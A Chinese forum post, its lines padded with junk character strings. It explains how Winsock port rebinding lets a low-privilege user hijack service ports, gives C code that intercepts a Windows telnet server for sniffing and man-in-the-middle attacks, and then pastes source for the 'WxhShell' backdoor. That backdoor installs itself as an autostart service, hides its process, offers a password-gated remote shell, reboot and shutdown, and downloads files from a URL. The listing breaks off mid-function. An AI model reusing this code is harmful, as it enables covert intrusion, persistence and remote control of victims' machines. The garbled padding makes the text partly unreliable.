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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $"`9QD~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -7\6j#;l  
J6m(\o  
  saddr.sin_family = AF_INET; /`YbHYNF[  
O:86*  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }y P98N5o  
Q{))+'s2h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /@~&zx&_  
@[] A&)B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 u, Rhm-`  
jpW(w($XL  
  这意味着什么?意味着可以进行如下的攻击: eVx &S a  
eOI#T'5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kn1+lF@  
KJLK]lf}d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TR([u  
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  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O&c~7tM%  
|}y6U< I  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  H@R2mw  
g :Z, ab4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 p<9e5`& I  
$={WtR  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0XNj! ^&  
w}jH,Ew  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mlmXFEC  
l .wf= /  
  #include Q(e3-a  
  #include d{LQr}_o$$  
  #include koizk&)  
  #include    xp>p#c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !Ci\Zg  
  int main() G$buZspL'd  
  { _Di}={1[.  
  WORD wVersionRequested; &_!g|-  
  DWORD ret; fDa$TbhjI  
  WSADATA wsaData; g}hR q%  
  BOOL val; /N>bEr4w  
  SOCKADDR_IN saddr; .7nr:P  
  SOCKADDR_IN scaddr; Cl+TjmOV\`  
  int err; $*Q_3]AY]  
  SOCKET s; 5_mb+A n,  
  SOCKET sc; Q3vWwP;t~  
  int caddsize; N!e?K=}tL  
  HANDLE mt; rl,6r u  
  DWORD tid;   Z`l97$\  
  wVersionRequested = MAKEWORD( 2, 2 ); mmVx',k  
  err = WSAStartup( wVersionRequested, &wsaData ); B0:[3@P7  
  if ( err != 0 ) { 1/bu}?a  
  printf("error!WSAStartup failed!\n"); #6tb{ws3  
  return -1; f]BG`rJX  
  } <Dr*^GX>?  
  saddr.sin_family = AF_INET; N>fC"  
   V^t5 Y+7  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 I!)gXtJA"  
p,=:Ff}~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I]`>m3SJ  
  saddr.sin_port = htons(23); vYD>m~Qc^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1 D fB9n  
  { %^l77 :O  
  printf("error!socket failed!\n"); qO<'_7TN[  
  return -1; +|OkT  
  } ><X!~by  
  val = TRUE; H7e/6t<x  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g#V3u=I8~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #EpDIL  
  { &Z+a (  
  printf("error!setsockopt failed!\n"); lHpo/ R :  
  return -1; *|x2"?d-F:  
  } 5hE8b  {V  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /FiFtAbb  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O\L(I079  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Osb"$8im  
kNW&rg  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S\Qh#y FT  
  { unmuY^+<  
  ret=GetLastError(); 2I:vie  
  printf("error!bind failed!\n"); *?gn@4Ly  
  return -1; YE5v~2  
  } 0.nS306  
  listen(s,2); }0uSm%,"  
  while(1) ^Y xqJy  
  { {"e/3  
  caddsize = sizeof(scaddr); sm}v0V.Js  
  //接受连接请求 <W vuW6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :*1Gs,  
  if(sc!=INVALID_SOCKET) J=TbZL4y}4  
  { B|%=<1?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V0L^pDLOV  
  if(mt==NULL) ,u( g#T  
  { [*?P2.bf  
  printf("Thread Creat Failed!\n"); "G|Gyc  
  break; uavts9v<  
  } ]k{cPK  
  } @?K(+BGi  
  CloseHandle(mt); 0(3t#  
  } tF&%7(EU3  
  closesocket(s); f9JD_hhP'  
  WSACleanup(); '[5tc fG#z  
  return 0; {Y'DUt5j  
  }   Np|i Xwl1  
  DWORD WINAPI ClientThread(LPVOID lpParam) n=t%,[Op  
  { >Q+a'bd w  
  SOCKET ss = (SOCKET)lpParam; d"5:/Mo  
  SOCKET sc; 7G%`ziZ  
  unsigned char buf[4096]; ~srmlBi6  
  SOCKADDR_IN saddr; NEZF q?  
  long num; +zs;>'Sf  
  DWORD val; -.g5|B  
  DWORD ret; u|8`=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 u bP2ws  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   GWA_,/jS%  
  saddr.sin_family = AF_INET; )R ,*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); &.<{c `-  
  saddr.sin_port = htons(23); J;"XRE[%5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `iI YZ3i  
  { &.7\{q\(  
  printf("error!socket failed!\n"); FPFt3XL  
  return -1; pPh_p @3I  
  } $j{ynh)^  
  val = 100; Z1\_[GA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~z|/t^  
  { *TE6p  
  ret = GetLastError(); 6/@ cP/  
  return -1; r7ywK9UL  
  } uaJ5'*  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q:-H U bB  
  { (eO0 Ic[c  
  ret = GetLastError(); f^%vIB ~[  
  return -1; s977k2pp-  
  } 4sZ^:h,1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mW8CqW\Q5  
  { Q `E{Oo,  
  printf("error!socket connect failed!\n"); /B1< N}  
  closesocket(sc); 8%`Sx[  
  closesocket(ss); \=yg@K?"AJ  
  return -1; Ubn5tN MK  
  } M"p$9t  
  while(1) _FdWV?  
  { k,?Y`s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 v S%+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XkdNWR0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZQ20IY|,  
  num = recv(ss,buf,4096,0); 5YC(gv3/  
  if(num>0) 2s 6Vy  
  send(sc,buf,num,0); O=mGL  
  else if(num==0) 4,<~t>M1  
  break; ?LNwr[C0  
  num = recv(sc,buf,4096,0); Vs07d,@w>  
  if(num>0) ;WGY)=-gv  
  send(ss,buf,num,0); Vx0V6{JX  
  else if(num==0) 0|GxOzNd  
  break; mup3ua]!  
  } X^xu$d6   
  closesocket(ss); #Wc)wL-Tg  
  closesocket(sc); UNY>Q7  
  return 0 ; ,vN#U&RS  
  } O^:Pr8|{J  
Y_)04dmr@[  
4G`YZZQ  
========================================================== s}?98?tYB  
7Q[P  
下边附上一个代码,,WXhSHELL Kw?,A   
W%h<@@c4,  
========================================================== E-"Jgq\aC  
9MXauTKI  
#include "stdafx.h" C)ChF`Ru':  
5/*ZqrJw{"  
#include <stdio.h> }%XNB1/`  
#include <string.h> <M\Z}2d  
#include <windows.h> Q kQd;y  
#include <winsock2.h> 6Jj)[ R\5=  
#include <winsvc.h> >eRbasshEI  
#include <urlmon.h> %pg*oX1VK6  
sPZa|AKHb  
#pragma comment (lib, "Ws2_32.lib") E RMh% C  
#pragma comment (lib, "urlmon.lib") /?J_7Lg  
U`8)rtYw  
#define MAX_USER   100 // 最大客户端连接数 u YH{4%  
#define BUF_SOCK   200 // sock buffer $x2<D :  
#define KEY_BUFF   255 // 输入 buffer vF([mOZ  
2qn~A0r  
#define REBOOT     0   // 重启 _` D_0v(X  
#define SHUTDOWN   1   // 关机 KM\`,1?x92  
;hZ(20  
#define DEF_PORT   5000 // 监听端口 ~;`i&s  
BM3)`40[]  
#define REG_LEN     16   // 注册表键长度 NKI&n]EO  
#define SVC_LEN     80   // NT服务名长度 c2F`S1Nu<  
P)}:lTe  
// 从dll定义API UHCx}LGe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); { aB_t%`w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (sl]%RjGa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iu1iO;q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "thu@~aC  
/aPq9B@  
// wxhshell配置信息 `/|=eQ")o@  
struct WSCFG { <$=8'$T81  
  int ws_port;         // 监听端口 n1;V2k{uV  
  char ws_passstr[REG_LEN]; // 口令 {< wq}~  
  int ws_autoins;       // 安装标记, 1=yes 0=no Tw`l4S&  
  char ws_regname[REG_LEN]; // 注册表键名 Hv IN'  
  char ws_svcname[REG_LEN]; // 服务名 p,1RRbyc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0<Pe~i_=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @?%"nK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i2!{.*.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \NSwoP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $ jn tT(V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,Y5+UzE@  
,~kMkBkl~  
};  43VuH  
}=L >u>cP  
// default Wxhshell configuration uC}YKT>V7  
struct WSCFG wscfg={DEF_PORT, "xO`&a{  
    "xuhuanlingzhe", My1E@<  
    1, kO9yei  
    "Wxhshell", AV&eg e  
    "Wxhshell", =AAH}  
            "WxhShell Service", nv8,O=#s  
    "Wrsky Windows CmdShell Service", +,KuYa{lu  
    "Please Input Your Password: ", +X- k)9  
  1, \m\.+q]  
  "http://www.wrsky.com/wxhshell.exe", 1ii.nt1 u  
  "Wxhshell.exe" UHg^F4>4  
    }; Ri3m438  
Z?@07Y[|K  
// 消息定义模块 Q^ F-8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ilHj%h*z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h FjW.~B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @Ab<I  
char *msg_ws_ext="\n\rExit."; v>e4a/  
char *msg_ws_end="\n\rQuit."; +HcH]D;  
char *msg_ws_boot="\n\rReboot..."; m[7a~-3:J  
char *msg_ws_poff="\n\rShutdown..."; E7D^6G&i  
char *msg_ws_down="\n\rSave to "; R.fRQ>rI  
. =+7H`A  
char *msg_ws_err="\n\rErr!"; %8-S>'g'  
char *msg_ws_ok="\n\rOK!"; C[s*Na-  
m7@`POI  
char ExeFile[MAX_PATH]; -^Lj~O  
int nUser = 0; :kUH>O  
HANDLE handles[MAX_USER]; VEn%_9(]  
int OsIsNt; q)vD "{0.  
tJn2:}-s  
SERVICE_STATUS       serviceStatus; +u Lu.-N  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #z~oc^J^T  
z/T ZOFaM  
// 函数声明 M6I1`Lpf  
int Install(void); ae<KUThm.  
int Uninstall(void); 1`uIjXr(  
int DownloadFile(char *sURL, SOCKET wsh); _Yhpj}KZ  
int Boot(int flag); un\^Wmbw  
void HideProc(void); :I7MP   
int GetOsVer(void); *V\kS  
int Wxhshell(SOCKET wsl); JxWHrsh[  
void TalkWithClient(void *cs); bH.">IV  
int CmdShell(SOCKET sock); 4EELaP|%  
int StartFromService(void); HWd,1  
int StartWxhshell(LPSTR lpCmdLine); D"Xm9 (  
R5FjJ>JE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); mB,7YZv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |~/{lE=I  
6` s[PKP.  
// 数据结构和表定义 r*$"]{m}  
SERVICE_TABLE_ENTRY DispatchTable[] = +`4|,K7'  
{ 1ERz:\  
{wscfg.ws_svcname, NTServiceMain}, l)|CPSN?w  
{NULL, NULL} vB,N6~r>  
}; 6SmSu\lgV  
:[rx|9M6  
// 自我安装 'X?`+2wK   
int Install(void) o+vf  
{ #A/jGv^  
  char svExeFile[MAX_PATH]; ~<eiWDf  
  HKEY key; 3! +5MsR+  
  strcpy(svExeFile,ExeFile); (5I]umtge  
}6KL   
// 如果是win9x系统,修改注册表设为自启动 6xOR,p>E  
if(!OsIsNt) { jv7zvp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Md~mI8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7}#vANm  
  RegCloseKey(key); 78Gvc~j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %iGME%oXr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SAoqq  
  RegCloseKey(key); n-\B z.  
  return 0; g7H;d  
    } ;aF / <r  
  } qle\c[UM5  
} (u*]&yk  
else { WFB2Ub7  
GM%|mFqeu  
// 如果是NT以上系统,安装为系统服务 5GY%ZRHh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %mq]M  
if (schSCManager!=0) s4Wk2*7 Mq  
{ h{! @^Q  
  SC_HANDLE schService = CreateService wb{y]~&6K  
  ( *=I#VN*_<.  
  schSCManager, W$3p,VTMmB  
  wscfg.ws_svcname, b2 ),J  
  wscfg.ws_svcdisp, S)~h|&A(  
  SERVICE_ALL_ACCESS, IlE! zRA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e L(T  
  SERVICE_AUTO_START, Y,8M[UIK  
  SERVICE_ERROR_NORMAL, *L^{p.K4  
  svExeFile, FCI T+ 8K  
  NULL, n8iN/Y<%U  
  NULL, 1jV^\ x0  
  NULL, \nJr jH A  
  NULL, X+*| nvq]  
  NULL 1|gEY;Ru  
  ); j{HxX  
  if (schService!=0) :&a|8Wi[W  
  { A$oYw(m#  
  CloseServiceHandle(schService); +(<CE#bb[  
  CloseServiceHandle(schSCManager); T&!>lqU!J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +zlaYHj  
  strcat(svExeFile,wscfg.ws_svcname); W<x2~HW(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6=&  wY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KctD=6  
  RegCloseKey(key); ^C'k.pV n~  
  return 0; 4Q]+tXes  
    } $<y b~z7J  
  } auO^v;s  
  CloseServiceHandle(schSCManager); G,XFS8{%  
} /yI~(8bO  
} k_^d7yH  
>2wjV"W?  
return 1; UdY9*k  
} |mK d5[$  
_2TIan}  
// 自我卸载 eF2<L[9  
int Uninstall(void) P8TiB  
{ 8n'C@#{WV  
  HKEY key; >i0FGmxH  
+/Z:L$C6  
if(!OsIsNt) { O" z=+79q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;bZ)q  
  RegDeleteValue(key,wscfg.ws_regname); J|I|3h<T  
  RegCloseKey(key); S'A~9+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MVTU$ 65  
  RegDeleteValue(key,wscfg.ws_regname); p%G\5.GcJL  
  RegCloseKey(key); Xu'u"amt  
  return 0; PM_q"}-  
  } B0YY7od  
} Fc nR}TE  
} JL*-L*|Zcl  
else { }q~A( u  
Z|j8:Ohz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \V&ly/\ )  
if (schSCManager!=0) *|4~ 0w  
{ H\ NO4=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kj-`ru  
  if (schService!=0) MjLyB^ M  
  { ]`|bf2*eA  
  if(DeleteService(schService)!=0) { ` "9Y.KU  
  CloseServiceHandle(schService); !E*-\}[  
  CloseServiceHandle(schSCManager); .AV--oA~  
  return 0; Tn-H8;Hg  
  } XL"e<P;t  
  CloseServiceHandle(schService); }we"IqLb  
  } Jw86P=  
  CloseServiceHandle(schSCManager); 2x`# f0[  
} m=n V$H   
} 1dKLNE  
ZkK +?:9  
return 1; Ru sa &#[  
} ZLO _5#<  
BgE]xm  
// 从指定url下载文件 b?Vu9!  
int DownloadFile(char *sURL, SOCKET wsh) Y@pa+~[{h3  
{ Ds-%\@p  
  HRESULT hr; k|BEAdQ%M  
char seps[]= "/"; EKDv3aFQZ#  
char *token; 6b)1B\p  
char *file; myXp]=Sb?  
char myURL[MAX_PATH]; Maq{H`  
char myFILE[MAX_PATH]; 4[5Z>2w  
!>! l=Z  
strcpy(myURL,sURL); Y[pGaiN:  
  token=strtok(myURL,seps); sGzd c  
  while(token!=NULL) K{ 0mb  
  { ))+R*k%  
    file=token; inhb>zB  
  token=strtok(NULL,seps); TX 12$p\  
  } n ,H;PB  
N-5lILuJJ  
GetCurrentDirectory(MAX_PATH,myFILE); :1A Ound  
strcat(myFILE, "\\"); v[~ U*#i  
strcat(myFILE, file); wlkS+$<  
  send(wsh,myFILE,strlen(myFILE),0); m2 OP=z@)  
send(wsh,"...",3,0); Ot/Y?=j~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7$w:~VZ  
  if(hr==S_OK) <;acWT?(  
return 0; 2Gx&ECa,  
else WLizgVM  
return 1; 4S9AXE6  
` a@NYi6  
} w%L0mH2]ng  
 m>a6,#I  
// 系统电源模块 < 'T6k\  
int Boot(int flag) Ib!`ChZ  
{ !.F`8OD`u  
  HANDLE hToken; (D))?jnC  
  TOKEN_PRIVILEGES tkp; AJq'~fC;I  
[]u!piW  
  if(OsIsNt) { ^D6JckW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LtC kDnXk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); :k JSu{p  
    tkp.PrivilegeCount = 1; V&qXsyg  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ?SS?I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ku\_M  
if(flag==REBOOT) { 4cs`R+]o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;B tRDKn  
  return 0; }G-qOt  
} 9}5Q5OZ  
else { vL-%"*>v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gBresHrlH  
  return 0; _hXadLt  
} 8)sqj=  
  } *S ;v406  
  else { ~C[R%%Gu  
if(flag==REBOOT) { qA*QFQ'-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Kw'A%7^e  
  return 0; RMsr7M4<91  
} TCB<fS~U-  
else { & {B,m%G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zQ7SiRt7*  
  return 0; _a c_8m  
} fv)-o&Q#  
} B<_T"n'#b  
9B<y w.  
return 1; RJ@d_~%U  
} o%CBSm]  
4(o0I~hpB?  
// win9x进程隐藏模块 Vrz<DB^-e  
void HideProc(void) #E*jX-JT  
{ EV]exYWB  
"j~=YW+l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9t;aJFI  
  if ( hKernel != NULL ) 3A'd7FJ0G  
  { EjvxfqPv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KJSN)yn\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); As78yfK  
    FreeLibrary(hKernel); pcL02W|J  
  } G!%1<SLi.  
vsLn@k3  
return; 9;q@;)'5  
} u\>Ed9^  
w Gw}a[a  
// 获取操作系统版本 F4d L{0;j  
int GetOsVer(void) <y~`J`-  
{ @{~x:P5g  
  OSVERSIONINFO winfo; {Uu7@1@n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u9'4q<>&  
  GetVersionEx(&winfo); ~ / "aD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) DUY#RJf  
  return 1; >b<br  
  else Z+Z`J; ,  
  return 0; <L:v28c  
} C9({7[k^%  
+-HaYB|p  
// 客户端句柄模块 `N2zeFG  
int Wxhshell(SOCKET wsl) 4uDz=B+8y  
{ c1e7h l  
  SOCKET wsh; U =T[-(:H  
  struct sockaddr_in client; sL[,J[AN;  
  DWORD myID; [bE9Y;  
`W{Ye=|[d#  
  while(nUser<MAX_USER) ^'[Rb!Q8  
{ `P"-9Ue=  
  int nSize=sizeof(client); R (4 :_ xc  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {Pu\KRU  
  if(wsh==INVALID_SOCKET) return 1; |PTL!>ym2  
/q(+r5k \  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ge|caiH1I  
if(handles[nUser]==0) Z#MPlw0B  
  closesocket(wsh); Hd6Qy {,*-  
else ]J m9D=  
  nUser++; =suj3.   
  } 8vc4J5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q'{E $V)E  
tUL(1:-C  
  return 0; pSay^9ZI  
} ^yjc"r%B  
.(nq"&u-*  
// 关闭 socket 5qB>Song  
void CloseIt(SOCKET wsh) 4*d_2:|u  
{ SIzW3y[  
closesocket(wsh); 8V^gOUF.  
nUser--; "'dt"x)  
ExitThread(0); k45xtKS>d  
} A10/"Ec<u  
sj Yg  
// 客户端请求句柄 3E:wyf)i"  
void TalkWithClient(void *cs) A+NLo[swwu  
{ D",ZrwyJ  
)7[>/2aGd  
  SOCKET wsh=(SOCKET)cs; ka*VQXk*  
  char pwd[SVC_LEN]; Up)b;wR  
  char cmd[KEY_BUFF]; n%@xnB $ZX  
char chr[1]; ) T 3y,*  
int i,j; lv,8NmP5  
x)nBy)<  
  while (nUser < MAX_USER) { lOcvRF  
 /dBQ*f5  
if(wscfg.ws_passstr) { Y KeOH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i%v^Zg&FU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R&=Y7MfZ  
  //ZeroMemory(pwd,KEY_BUFF); '<$(*  
      i=0; N2xgyKy~  
  while(i<SVC_LEN) { 7@|(z:uw  
6^}GXfJAc  
  // 设置超时 cfa#a!Y4  
  fd_set FdRead; k h#|`E#,  
  struct timeval TimeOut; d),@&MSN  
  FD_ZERO(&FdRead); =i\~][-  
  FD_SET(wsh,&FdRead); .\LWV=B  
  TimeOut.tv_sec=8; /V-7u  
  TimeOut.tv_usec=0; Wvm f[!V;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2u/(Q>#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s%;18V:pi  
x>p=1(L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +2MsyA?6_  
  pwd=chr[0]; `L7 cS  
  if(chr[0]==0xd || chr[0]==0xa) { ,HYz-sK.  
  pwd=0; $Y)|&,  
  break; Xq+7l5LP  
  } Z9 }qds6 y  
  i++; sm4@ywd>  
    }  NM  
Fu!:8Wp!(  
  // 如果是非法用户,关闭 socket $A8eMJEpL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c;B Q$je}  
} :KMo'pL  
#](ML:!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b{(!Ls_ &  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WcbJ4Ore  
B qKD+  
while(1) { bP(V#6IJ8  
"n:L<F,g  
  ZeroMemory(cmd,KEY_BUFF); ]oXd|[ G  
Y -7x**I  
      // 自动支持客户端 telnet标准   Dbz\8gmY  
  j=0; o!wz:|\S  
  while(j<KEY_BUFF) { %`-NWAXL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^ D?;K8a-l  
  cmd[j]=chr[0]; _Ev"/ %  
  if(chr[0]==0xa || chr[0]==0xd) { , N5Rdgzk  
  cmd[j]=0; &h8+ -  
  break; M'R^?Jjb  
  } qm@c[b  
  j++; Vy&F{T;$  
    } eW0:&*.vMj  
2m/1:5  
  // 下载文件 |#f P8OK  
  if(strstr(cmd,"http://")) { Z:)\j.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7Ja^d-F7  
  if(DownloadFile(cmd,wsh)) DTAEfs!ZW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); jKM-(s!(  
  else VDCrFZ!]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *M6M'>Tin  
  } KvkiwO(  
  else { E':y3T@."  
g6;O)b  
    switch(cmd[0]) { nu4GK}xI  
  H /*^$>0Uo  
  // 帮助 ?gH[tN:=  
  case '?': { 0JKbp*H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /p?h@6h@y  
    break; {- 7T\mj  
  } FzFY2h;n]B  
  // 安装 :q0C$xF  
  case 'i': { I`p44}D3  
    if(Install()) w'?uJW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HaJD2wvr  
    else !>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i!ejK6Q  
    break; r]kLe2r:B  
    } 1!0BE8s"@  
  // 卸载 d+[hB4!l2  
  case 'r': { YmNBtGhT  
    if(Uninstall()) W(a=ev2sa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9:vPbn  
    else F~)xZN3=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qf(!3  
    break; G{YJ(6etZ  
    } %l5Uy??Z  
  // 显示 wxhshell 所在路径 A!W(>  
  case 'p': { SN\;&(?G  
    char svExeFile[MAX_PATH]; =DcKHL(m  
    strcpy(svExeFile,"\n\r"); P;mmK&&  
      strcat(svExeFile,ExeFile); )7*Apy==x  
        send(wsh,svExeFile,strlen(svExeFile),0); JG0TbM1(Bt  
    break; 9Z6O{ >  
    }  Z:u7`%  
  // 重启 AIN_.=]"?  
  case 'b': { : R.,<DQM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %~}9#0h)  
    if(Boot(REBOOT)) `SFI\Y+WDT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7?Xfge%\  
    else { e9o(hL  
    closesocket(wsh); Cq}LKiu  
    ExitThread(0); "<txg%j\J  
    } .' 3;Z'%"g  
    break; s{Ryh.IyI  
    } | t3_E  
  // 关机 "&77`R  
  case 'd': { US@ak4Y6Z  
